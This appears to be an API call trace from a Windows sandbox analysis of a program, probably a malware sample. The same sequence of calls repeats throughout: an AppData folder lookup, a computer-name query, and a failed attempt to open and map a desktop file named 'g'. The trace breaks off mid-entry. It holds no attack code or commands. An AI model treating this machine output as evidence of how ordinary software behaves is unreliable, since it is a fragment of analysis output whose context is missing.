1 [0145.289] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.289] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.289] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.289] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.289] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.289] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.289] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.289] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.289] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.289] CloseHandle (hObject=0x0) returned 0 [0145.289] CloseHandle (hObject=0xffffffff) returned 1 [0145.289] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.289] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.289] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.289] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.289] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.289] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.289] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.289] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.289] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.289] CloseHandle (hObject=0x0) returned 0 [0145.289] CloseHandle (hObject=0xffffffff) returned 1 [0145.289] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.290] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.290] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.290] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.290] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.290] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.290] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.290] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.290] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.290] CloseHandle (hObject=0x0) returned 0 [0145.290] CloseHandle (hObject=0xffffffff) returned 1 [0145.290] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.290] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.290] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.290] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.290] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.290] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.290] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.290] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.290] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.290] CloseHandle (hObject=0x0) returned 0 [0145.290] CloseHandle (hObject=0xffffffff) returned 1 [0145.290] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.290] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.290] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.290] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.290] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.290] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.290] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.290] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.291] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.291] CloseHandle (hObject=0x0) returned 0 [0145.291] CloseHandle (hObject=0xffffffff) returned 1 [0145.291] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.291] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.291] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.291] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.291] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.291] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.291] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.291] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.291] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.291] CloseHandle (hObject=0x0) returned 0 [0145.291] CloseHandle (hObject=0xffffffff) returned 1 [0145.291] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.291] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.291] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.291] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.291] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.291] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.291] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.291] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.291] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.291] CloseHandle (hObject=0x0) returned 0 [0145.291] CloseHandle (hObject=0xffffffff) returned 1 [0145.292] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.292] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.292] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.292] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.292] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.292] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.292] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.292] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.292] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.292] CloseHandle (hObject=0x0) returned 0 [0145.292] CloseHandle (hObject=0xffffffff) returned 1 [0145.292] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.292] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.292] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.292] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.292] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.292] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.292] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.292] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.292] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.293] CloseHandle (hObject=0x0) returned 0 [0145.293] CloseHandle (hObject=0xffffffff) returned 1 [0145.293] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.293] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.293] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.293] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.293] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.293] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.293] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.293] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.293] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.293] CloseHandle (hObject=0x0) returned 0 [0145.293] CloseHandle (hObject=0xffffffff) returned 1 [0145.293] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.293] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.293] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.293] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.293] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.293] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.293] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.293] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.294] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.294] CloseHandle (hObject=0x0) returned 0 [0145.294] CloseHandle (hObject=0xffffffff) returned 1 [0145.294] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.294] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.294] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.294] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.294] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.294] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.294] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.294] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.294] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.294] CloseHandle (hObject=0x0) returned 0 [0145.294] CloseHandle (hObject=0xffffffff) returned 1 [0145.294] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.294] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.294] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.294] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.294] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.294] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.295] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.295] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.295] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.295] CloseHandle (hObject=0x0) returned 0 [0145.295] CloseHandle (hObject=0xffffffff) returned 1 [0145.295] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.295] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.295] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.295] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.295] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.295] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.295] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.295] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.295] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.295] CloseHandle (hObject=0x0) returned 0 [0145.295] CloseHandle (hObject=0xffffffff) returned 1 [0145.295] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.295] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.295] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.295] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.295] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.296] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.296] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.296] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.296] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.296] CloseHandle (hObject=0x0) returned 0 [0145.296] CloseHandle (hObject=0xffffffff) returned 1 [0145.296] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.296] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.296] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.296] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.296] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.296] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.296] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.296] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.296] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.296] CloseHandle (hObject=0x0) returned 0 [0145.296] CloseHandle (hObject=0xffffffff) returned 1 [0145.296] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.296] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.297] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.297] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.297] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.297] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.297] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.297] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.297] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.297] CloseHandle (hObject=0x0) returned 0 [0145.297] CloseHandle (hObject=0xffffffff) returned 1 [0145.297] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.297] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | 